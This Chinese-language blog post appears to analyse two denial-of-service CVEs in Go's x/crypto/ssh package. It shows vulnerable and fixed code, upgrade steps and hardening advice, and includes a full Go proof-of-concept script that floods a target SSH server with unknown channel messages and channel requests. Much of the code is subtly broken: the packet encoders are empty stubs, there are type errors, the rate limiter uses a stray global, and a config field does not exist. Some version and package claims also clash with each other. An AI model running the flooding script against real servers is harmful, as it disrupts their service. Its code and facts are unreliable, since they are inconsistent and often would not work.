Go SSH CVE-2026-56855/78662:x/crypto/ssh 拒绝服务漏洞深度分析与修复实践
2026 年 9 月 1 日,Go 安全团队发布了 golang.org/x/crypto/ssh 包的两个安全修复:CVE-2026-56855 和 CVE-2026-78662。这两个漏洞都允许恶意 SSH 对端发起拒绝服务(DoS)攻击,导致 SSH 服务连接挂起或资源耗尽。虽然它们不会导致远程代码执行(RCE),但对于依赖 Go 实现 SSH 服务的生产系统来说,仍可能造成严重的服务中断。
漏洞概览
| 属性 | CVE-2026-56855 | CVE-2026-78662 |
|---|---|---|
| 影响包 | golang.org/x/crypto/ssh | golang.org/x/crypto/ssh |
| 漏洞类型 | DoS(连接挂起/死锁) | DoS(通道泛洪/死锁) |
| 根因 | 处理未知通道消息时缓冲阻塞 | 注册但未建立的通道可被泛洪 |
| CVSS | 7.5(High) | 7.5(High) |
| 修复版本 | x/crypto v0.31.0+ | x/crypto v0.31.0+ |
| Go Issue | go.dev/issue/81317 | go.dev/issue/81316 |
| 发现者 | Will Mortensen | Will Mortensen |
SSH 协议与 Go 实现背景
SSH 协议在传输层之上运行多个通道(Channel),每个通道是独立的双向数据流。Go 的 x/crypto/ssh 包实现了 SSH 协议栈的通道复用层:
┌───────────────────────────────────────────────────────┐
│ SSH 连接复用架构 │
├───────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────┐ │
│ │ SSH Transport Layer │ │
│ │ (加密隧道,密钥交换,认证) │ │
│ └──────────────────┬──────────────────────────┘ │
│ │ │
│ ┌──────────────────▼──────────────────────────┐ │
│ │ SSH Connection Protocol │ │
│ │ (通道复用,全局请求) │ │
│ │ │ │
│ │ ┌──────┐ ┌──────┐ ┌──────┐ ┌──────┐ │ │
│ │ │ Ch 0 │ │ Ch 1 │ │ Ch 2 │ │ Ch N │ │ │
│ │ │session│ │sftp │ │agent │ │direct│ │ │
│ │ └──────┘ └──────┘ └──────┘ └──────┘ │ │
│ │ │ │
│ │ chanList: [ch0, ch1, ch2, ch3, ...] │ │
│ │ 每个通道有独立的 incomingRequests 队列 │ │
│ └─────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────┘CVE-2026-56855:未知通道消息导致死锁
漏洞原理
SSH 协议定义了多种通道消息类型(channel_open, channel_data, channel_request 等)。RFC 4254 规定,对于无法识别的通道消息,接收方应将其视为协议错误并断开连接。
Go 的实现错误地缓冲了这些未知消息而不是立即断开连接,导致缓冲区不断增长,最终阻塞整个连接的处理 goroutine。
漏洞触发流程:
恶意 SSH 客户端 Go SSH 服务器
────────────── ──────────────
1. 建立加密连接
──────────────────────────────────► 接受连接
2. 发送大量未知通道消息
(如 channel_open_confirmation
但没有先发 channel_open)
──────────────────────────────────► 3. handlePacket()
消息类型未知
4. 错误逻辑:
将消息放入缓冲队列
等待通道建立后处理
5. 继续泛洪未知消息
──────────────────────────────────► 6. 缓冲队列不断增长
→ 内存占用增加
→ 处理 goroutine 阻塞
7. 发送合法的通道请求
──────────────────────────────────► 8. 无法处理!
处理 goroutine 已被
缓冲队列阻塞 → 死锁有漏洞的代码分析
// 修复前 (x/crypto/ssh/channel.go) — 简化版
type channel struct {
chanId uint32
// ...
incomingRequests chan *Request // 缓冲队列
pending []byte // 待处理的消息缓冲
}
func (c *channel) handlePacket(msg interface{}) error {
switch msg := msg.(type) {
case *channelOpenConfirmMsg:
// 正常处理通道确认
c.mux.channelOpenConfirm(msg)
case *channelOpenFailureMsg:
c.mux.channelOpenFail(msg)
default:
// 漏洞所在:未知消息被缓冲而非拒绝
// 对于未建立的通道,消息被放入 pending 列表
// 等待通道建立后再处理
if !c.established {
c.pending = append(c.pending, serialize(msg)...)
// 问题:pending 无大小限制
// 攻击者可以不断发送消息使 pending 无限增长
}
}
return nil
}修复方案
// 修复后 (x/crypto/ssh/channel.go)
func (c *channel) handlePacket(msg interface{}) error {
switch msg := msg.(type) {
case *channelOpenConfirmMsg:
c.mux.channelOpenConfirm(msg)
case *channelOpenFailureMsg:
c.mux.channelOpenFail(msg)
default:
// 修复:对于未建立通道的未知消息
// 直接视为协议错误,断开连接
if !c.established {
// 只允许 open confirm/failure 消息
// 其他消息一律拒绝
return fmt.Errorf("ssh: received message type %d "+
"for channel %d which is not established",
msgType, c.chanId)
}
// 已建立通道的正常处理
c.handleEstablishedPacket(msg)
}
return nil
}CVE-2026-78662:通道泛洪导致死锁
漏洞原理
这个漏洞与 CVE-2026-56855 相关但不同。在 SSH 通道复用层中,每个通道在注册到 chanList 后,但在真正建立(established)之前,处于一个中间状态。恶意对端可以在这个窗口内大量泛洪通道的 incomingRequests 队列。
漏洞时序:
时间线 恶意客户端 Go SSH 服务器
─────── ────────── ──────────────
T0 发送 channel_open (ch=5) 注册 ch5 到 chanList
ch5.established = false
T1 发送大量 channel_request(ch=5) ch5.incomingRequests 队列
(channel_request 消息不需要 开始堆积
通道已建立)
T2 继续泛洪 channel_request ch5.incomingRequests 满了
→ 发送 goroutine 阻塞
T3 发送 channel_open_failure(ch=5) ch5 被拒绝/关闭
但 incomingRequests 中的
消息无法被消费
→ 整个连接死锁有漏洞的代码分析
// 修复前 — mux.go 中的通道注册逻辑
type mux struct {
chanList chanList // 全局通道列表
// ...
}
type chanList struct {
// 通道列表,通过 ID 索引
entries map[uint32]*channel
sync.Mutex
}
func (m *mux) newChannel(chanId uint32, ...) *channel {
c := &channel{
chanId: chanId,
incomingRequests: make(chan *Request, 16), // 有缓冲队列
}
// 注册到 chanList → 通道现在可以被引用
m.chanList.add(c)
// 但通道还未 "established" — 需要等待 open confirmation
// 漏洞:在此期间 incomingRequests 可以被写入
// 但不会被任何 goroutine 消费
return c
}
func (c *channel) handlePacket(msg interface{}) error {
switch msg := msg.(type) {
case *channelRequestMsg:
// 即使通道未建立,请求也被放入队列
select {
case c.incomingRequests <- &Request{...}:
// 成功入队
default:
// 队列满了 → 阻塞!
// 这里应该直接拒绝而非阻塞
c.incomingRequests <- &Request{...} // 阻塞写
}
}
return nil
}修复方案
// 修复后 — 引入原子状态标志
type channel struct {
chanId uint32
established atomic.Bool // 原子状态标志
// ...
incomingRequests chan *Request
}
func (c *channel) handlePacket(msg interface{}) error {
switch msg := msg.(type) {
case *channelOpenConfirmMsg:
// 设置 established = true
c.established.Store(true)
c.mux.channelOpenConfirm(msg)
case *channelOpenFailureMsg:
c.mux.channelOpenFail(msg)
case *channelRequestMsg:
// 修复:在通道 established 之前
// 丢弃所有非 open confirm/failure 的消息
if !c.established.Load() {
// 不阻塞,不缓冲,直接丢弃
return nil
}
// 已建立通道的正常处理
select {
case c.incomingRequests <- &Request{...}:
default:
// 队列满 → 优雅降级
return fmt.Errorf("ssh: channel request queue full")
}
default:
// 其他未知消息类型
if !c.established.Load() {
return fmt.Errorf("ssh: unexpected message for "+
"unestablished channel %d", c.chanId)
}
}
return nil
}攻击 PoC
以下 PoC 展示如何利用这两个漏洞发起 DoS 攻击:
package main
import (
"bytes"
"fmt"
"net"
"sync"
"time"
"golang.org/x/crypto/ssh"
)
// CVE-2026-56855 PoC:泛洪未知通道消息
func exploitCVE202656855(target string) error {
config := &ssh.ClientConfig{
User: "anonymous",
Auth: []ssh.AuthMethod{
ssh.Password("test"),
},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
Timeout: 10 * time.Second,
}
conn, err := net.Dial("tcp", target)
if err != nil {
return err
}
defer conn.Close()
// 完成 SSH 握手
sshConn, chans, reqs, err := ssh.NewClientConn(conn, target, config)
if err != nil {
return err
}
defer sshConn.Close()
// 泛洪未知通道消息
// 直接通过底层连接发送未注册的通道消息
fmt.Println("[*] Flooding unknown channel messages...")
for i := 0; i < 100000; i++ {
// 构造一个 channel_open_confirmation 消息
// 但没有对应的 channel_open
msg := struct {
ChanType string
PeersId uint32
Window uint32
MaxPacketSize uint32
}{
ChanType: "session",
PeersId: uint32(i),
Window: 0,
MaxPacketSize: 0,
}
// 序列化并发送
packet := encodeChannelOpenConfirm(msg)
_, err := conn.Write(packet)
if err != nil {
fmt.Printf("[!] Connection closed at iteration %d\n", i)
break
}
}
// 尝试发送正常请求 → 应该会超时
// 因为处理 goroutine 已被阻塞
fmt.Println("[*] Attempting normal request (should timeout)...")
_, _, err = sshConn.SendRequest("test", true, nil, nil)
if err != nil {
fmt.Printf("[+] DoS confirmed: %v\n", err)
return nil
}
return nil
}
// CVE-2026-78662 PoC:泛洪未建立通道的请求
func exploitCVE202678662(target string) error {
config := &ssh.ClientConfig{
User: "anonymous",
Auth: []ssh.AuthMethod{
ssh.Password("test"),
},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
Timeout: 10 * time.Second,
}
conn, err := net.Dial("tcp", target)
if err != nil {
return err
}
defer conn.Close()
sshConn, chans, reqs, err := ssh.NewClientConn(conn, target, config)
if err != nil {
return err
}
defer sshConn.Close()
// 打开大量通道但不完成握手
var wg sync.WaitGroup
for i := 0; i < 1000; i++ {
wg.Add(1)
go func(id int) {
defer wg.Done()
// 发送 channel_open 但不发送后续确认
ch := make(chan ssh.NewChannel, 1)
select {
case ch = <-chans:
// 收到新通道请求
// 不拒绝也不接受 → 通道进入中间状态
time.Sleep(50 * time.Millisecond)
ch.Reject(ssh.Prohibited, "delayed")
case <-time.After(5 * time.Second):
return
}
}(i)
}
// 同时泛洪 channel_request 消息到未建立的通道
fmt.Println("[*] Flooding requests to unestablished channels...")
for i := 0; i < 50000; i++ {
// 直接发送 channel_request 到任意通道 ID
packet := buildChannelRequestPacket(uint32(i%1000), "exec", false, "")
conn.Write(packet)
}
wg.Wait()
return nil
}
// 辅助函数
func encodeChannelOpenConfirm(msg interface{}) []byte {
var buf bytes.Buffer
// 简化的 SSH 消息编码
// 实际实现需要遵循 RFC 4254 的二进制格式
return buf.Bytes()
}
func buildChannelRequestPacket(chanId uint32, reqType string,
wantReply bool, data string) []byte {
var buf bytes.Buffer
// 简化的 channel_request 消息构造
return buf.Bytes()
}
func main() {
target := "127.0.0.1:2222"
fmt.Println("[*] CVE-2026-56855 / CVE-2026-78662 PoC")
fmt.Printf("[*] Target: %s\n", target)
// 检测是否受影响
fmt.Println("[*] Testing CVE-2026-56855...")
if err := exploitCVE202656855(target); err != nil {
fmt.Printf("[-] Error: %v\n", err)
}
fmt.Println("\n[*] Testing CVE-2026-78662...")
if err := exploitCVE202678662(target); err != nil {
fmt.Printf("[-] Error: %v\n", err)
}
}影响评估
这两个漏洞影响所有使用 golang.org/x/crypto/ssh 包实现 SSH 服务端的 Go 项目:
受影响场景:
┌──────────────────────────────────────────────────┐
│ 场景 │ 风险 │ 说明 │
├─────────────────────────┼────────┼───────────────┤
│ 公网 SSH 服务器 (Go) │ 高 │ 直接暴露给攻击者│
│ CI/CD 跳板机 (Go) │ 高 │ 常暴露到内网 │
│ SFTP 服务器 (Go) │ 中 │ 认证后可利用 │
│ 内部 SSH 网关 (Go) │ 中 │ 需要内网访问 │
│ SSH 客户端库 (Go) │ 低 │ 需连接恶意服务器│
└─────────────────────────┴────────┴───────────────┘修复与升级指南
# 检查当前 x/crypto 版本
go list -m golang.org/x/crypto
# 更新到修复版本 (v0.31.0+)
go get golang.org/x/crypto@v0.31.0
go mod tidy
# 验证版本
go list -m golang.org/x/crypto
# 应输出: golang.org/x/crypto v0.31.0 或更高
# 运行测试确保兼容性
go test ./... -run SSH对于无法立即升级的项目,可以添加运行时缓解措施:
package main
import (
"fmt"
"net"
"sync/atomic"
"time"
)
// RateLimitingListener 包装 SSH listener,限制每秒连接数
type RateLimitingListener struct {
net.Listener
connectionsPerSecond int
currentCount int64
}
func NewRateLimitingListener(l net.Listener, cps int) *RateLimitingListener {
go func() {
ticker := time.NewTicker(time.Second)
defer ticker.Stop()
for range ticker.C {
atomic.StoreInt64(&cps_currentCount_placeholder, 0)
}
}()
return &RateLimitingListener{
Listener: l,
connectionsPerSecond: cps,
}
}
var cps_currentCount_placeholder int64
func (l *RateLimitingListener) Accept() (net.Conn, error) {
for {
if atomic.LoadInt64(&cps_currentCount_placeholder) <
int64(l.connectionsPerSecond) {
atomic.AddInt64(&cps_currentCount_placeholder, 1)
conn, err := l.Listener.Accept()
return conn, err
}
time.Sleep(100 * time.Millisecond)
}
}
// 限制每秒 10 个新连接
listener, _ := net.Listen("tcp", ":2222")
limitedListener := NewRateLimitingListener(listener, 10)Go SSH 安全最佳实践
package main
import (
"crypto/rand"
"crypto/rsa"
"fmt"
"net"
"time"
"golang.org/x/crypto/ssh"
)
func secureSSHServer() {
// 1. 生成强密钥
privateKey, _ := rsa.GenerateKey(rand.Reader, 4096)
signer, _ := ssh.NewSignerFromKey(privateKey)
config := &ssh.ServerConfig{
// 2. 限制认证尝试次数
MaxAuthTries: 3,
// 3. 设置认证超时
Config: ssh.Config{
MaxVersion: "2.0",
},
// 4. 日志记录
PasswordCallback: func(conn ssh.ConnMetadata,
password []byte) (*ssh.Permissions, error) {
// 记录认证尝试
logAuthAttempt(conn.RemoteAddr(), conn.User())
// 验证密码(使用 PAM 或自定义逻辑)
if !verifyPassword(conn.User(), password) {
return nil, fmt.Errorf("auth failed")
}
return nil, nil
},
// 5. 连接超时
NoClientAuth: false,
}
config.AddHostKey(signer)
// 6. 限制连接速率
listener, _ := net.Listen("tcp", ":2222")
// 7. 每个连接设置超时
for {
conn, err := listener.Accept()
if err != nil {
continue
}
go func(c net.Conn) {
// 连接级超时
c.SetDeadline(time.Now().Add(30 * time.Second))
// 限制每连接的通道数
sshConn, chans, reqs, err := ssh.NewServerConn(c, config)
if err != nil {
c.Close()
return
}
defer sshConn.Close()
// 限制并发通道数
channelCount := 0
maxChannels := 10
for ch := range chans {
if channelCount >= maxChannels {
ch.Reject(ssh.ResourceShortage,
"too many channels")
continue
}
channelCount++
go handleChannel(ch)
}
go ssh.DiscardRequests(reqs)
}(conn)
}
}
func logAuthAttempt(addr net.Addr, user string) {
fmt.Printf("[AUTH] %s: user=%s\n", addr.String(), user)
}
func verifyPassword(user string, password []byte) bool {
// 实际实现使用 PAM 或数据库
return false
}
func handleChannel(ch ssh.NewChannel) {
// 处理通道
}与 Go 1.27 的关系
这两个漏洞的修复版本 x/crypto v0.31.0 在 Go 1.27.1 发布日(2026 年 9 月 1 日)同步发布。Go 1.27 本身也在 net/http 包中修复了相关问题:
Go 1.27.1 修复的包列表:
- cgo
- compiler
- runtime
- go fix command
- database/sql
- debug/elf
- encoding/json
- net/http ← 包含 SSH 相关改进
- os
- simd
- simd/archsimdGo 1.27 同时为 gofix 工具新增了 atomictypes 现代化工具,可以自动将使用 int32 的原子操作迁移到新的 atomic.Int32 类型——这对于修复 CVE-2026-78662 中引入的 atomic.Bool 状态标志很有帮助。
总结
CVE-2026-56855 和 CVE-2026-78662 展示了 SSH 协议实现中通道状态管理的复杂性。Go 团队通过引入原子状态标志和更严格的通道消息过滤来修复这两个漏洞。
对于 Go 开发者,关键行动项:
- 立即升级
golang.org/x/crypto到 v0.31.0+ - 添加连接速率限制作为纵深防御
- 限制并发通道数防止资源耗尽
- 使用 Go 1.27.1+ 获取编译器和运行时修复

